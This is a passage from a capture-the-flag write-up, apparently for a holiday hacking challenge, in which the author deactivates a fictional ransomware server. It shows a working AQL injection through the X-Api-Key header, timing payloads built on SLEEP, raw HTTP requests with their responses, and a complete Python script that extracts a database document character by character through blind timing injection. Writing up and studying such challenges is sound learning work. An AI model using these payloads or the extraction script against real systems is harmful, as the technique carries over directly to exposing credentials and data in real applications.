- Set input and output values to raw.
- The list should now be decrypted and displayed in the output field. Paste the 440th name into the objective field in the holiday hack portal to complete the decryption objective.

Deactivate the Ransomware

Oh Wombley. What hast thou wrought?
This challenge is linked to the list decryption and begins with the same artifacts.
We are given the following hints.
- There must be a way to deactivate the ransomware server’s data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.
- The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.
In addition to the artifacts, we have a relevant message intercepted during the Santa Vision challenge (which is what the first hint was pointing to). Wombly has been unsuccessfully trying to undo the damage he caused.Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
Combining this information with the URL recovered from the core dump and our UUID gives us our first access to the API.
- Our UUID: 65e1d0bb-7d7d-4bee-89a5-29e7d1ef8b56
- Portal URL: https://api.frostbit.app
- We’ll also need to append debug=true again
- And we’ll need to include the X-API-Key auth header as shown in Wombley’s request.
- We don’t know this yet, but as it turns out there is a good reason for that.
I used burp repeater for this. The initial request looked something like this.
GET /api/v1/frostbitadmin/bot/Our_UUID_Goes_Here/deactivate?debug=1 HTTP/2
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept: */*
Content-Length: 0
X-Api-Key: unknown
Initially I spent a lot of time trying to get the list decryption key and other values we already had to work for this step. Reading the hints more closely would have saved me some time – we need to find a way to perform a blind injection attack.
Experimenting with standard injection attack values for X-Api-Key will get you to step one pretty quickly. Including a single quote character ‘ results in an error message that gives us what we’re looking for.
This time instead of “Invalid Key” as a response, we get an error message that gives us the info we need to proceed.
Cleaned up that query in the error message looks like this:FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
<other_query_lines_omitted>
RETURN doc"}
Further experimentation shows that no matter what we do, we get ‘Invalid Key’ or the same error message, so we need to perform a blind injection attack using timing based boolean requests to extract the information we need. Neat!
I used chatGPT to get information about the query and error message and it was able to identify the DB as ArangoDB.
Getting the syntax for the timing attack right took me a while. My initial proof of concept for the timing attack was:
X-Api-Key: ‘ + SLEEP(5) + ‘
This responds after a delay indicating the SLEEP command was executed, but the delay isn’t 5 seconds and we still get the timeout error. After some experimentation, it appears the application has a built in 2 second timeout, so we’ll need to build our attack around this.
Now that I had the injection working, I began adding in boolean conditions. I managed to guess a few key names (_key, _id, and _rev) and started out with queries like this to gather information. If the length of doc.name is greater than 10 sleep, etc. These worked as a proof of concept, but didn’t give me much useful information.X-Api-Key: ' + (LENGTH(doc._key) > 10 && SLEEP(1.5)) + '
I moved from the query above to trying to gather file contents by querying a letter at a time. Is the first character an a, Is the first character a b…etc. After a bit of testing and positive results I had chatGPT generate a script for this. The script worked but the data I got wasn’t helpful because I could only pull data from key names I’d guessed and I wasn’t able to get a similar attack to work on the key names themselves.
At this point I started wondering more about “doc” than about the keys. I removed “.<key>” from my script so it was pointing directly at the doc array and it began reading out the whole array including the key and value needed.
This is the script I used for the final key extraction is below. The ultimate result is a UUID that can be used as the X-API-Key for deactivation. In this case, “abe7a6ad-715e-4e6a-901b-c9279a964f91”
The screenshot is of the script running as it was revealing the final key in the array.
Submitting the UUID via Burp Repeater deactivates the ransomware. Woo!
GET /api/v1/frostbitadmin/bot/65e1d0bb-7d7d-4bee-89a5-29e7d1ef8b56/deactivate?debug=true HTTP/2
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept: */*
Content-Length: 0
X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91
HTTP/2 200 OK
Server: nginx/1.27.1
Date: Thu, 26 Dec 2024 20:58:41 GMT
Content-Type: application/json
Content-Length: 314
Strict-Transport-Security: max-age=31536000
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"65e1d0bb-7d7d-4bee-89a5-29e7d1ef8b56\",\"hash\":\"187d8f4a245bdd83120f8fc4a4cad87403aca0f54313238c73b2fc8b418f7328\",\"uid\":\"91031\"}\nPOSTED WIN RESULTS FOR RID 65e1d0bb-7d7d-4bee-89a5-29e7d1ef8b56","status":"Deactivated"}

The Holidays are saved, and back in zone 1 the geese are celebrating.

Key Extraction Script
import requests
import time
import string
# Target information
url = "https://api.frostbit.app/api/v1/frostbitadmin/bot/65e1d0bb-7d7d-4bee-89a5-29e7d1ef8b56/deactivate?debug=1"
headers = {
"User-Agent": "Go-http-client/1.1",
"Accept": "*/*",
"Content-Length": "0"
}
api_rev_template = "' + (SUBSTRING(doc, {position}, 1) == '{char}' && SLEEP(1)) + '"
# api_rev_template = "' + (SUBSTRING(doc._rev, {position}, 1) == '{char}' && SLEEP(1)) + '"
# Characters to test
# valid_chars = string.ascii_letters + string.digits + "_-" + " " # a-z, A-Z, 0-9, + "._-"
valid_chars = string.ascii_letters + string.digits + "_-.,@#$%^&*+=~:;/?!()[]{}|<> "
def send_request(position, char):
"""Send a request with the specified character at the given position."""
api_rev = api_rev_template.format(position=position, char=char)
headers["X-Api-Key"] = api_rev
start_time = time.time()
response = requests.get(url, headers=headers)
end_time = time.time()
delay = end_time - start_time
return delay > .9 # Delay threshold for SLEEP(1.5)
def extract_rev(length):
"""Extract the full _rev by iterating through positions and characters."""
extracted_rev = [""] * length
retry_positions = []
for position in range(length):
print(f"Testing position {position}...")
found = False
for char in valid_chars:
if send_request(position, char):
# Validate by sending the same request again
if send_request(position, char):
extracted_rev[position] = char
print(f"Found character '{char}' at position {position}")
found = True
break
if not found:
# Retry once if no match was found
print(f"No match found for position {position}, retrying...")
for char in valid_chars:
if send_request(position, char):
if send_request(position, char):
extracted_rev[position] = char
print(f"Found character '{char}' at position {position} (after retry)")
found = True
break
if not found:
retry_positions.append(position)
print(f"Could not determine character at position {position}")
return "".join(extracted_rev), retry_positions
if __name__ == "__main__":
# Set the length of _rev (previously determined)
id_length = 500
extracted_rev, retry_positions = extract_rev(id_length)
print(f"Extracted _rev: {extracted_rev}")
if retry_positions:
print(f"Characters to retry: {retry_positions}")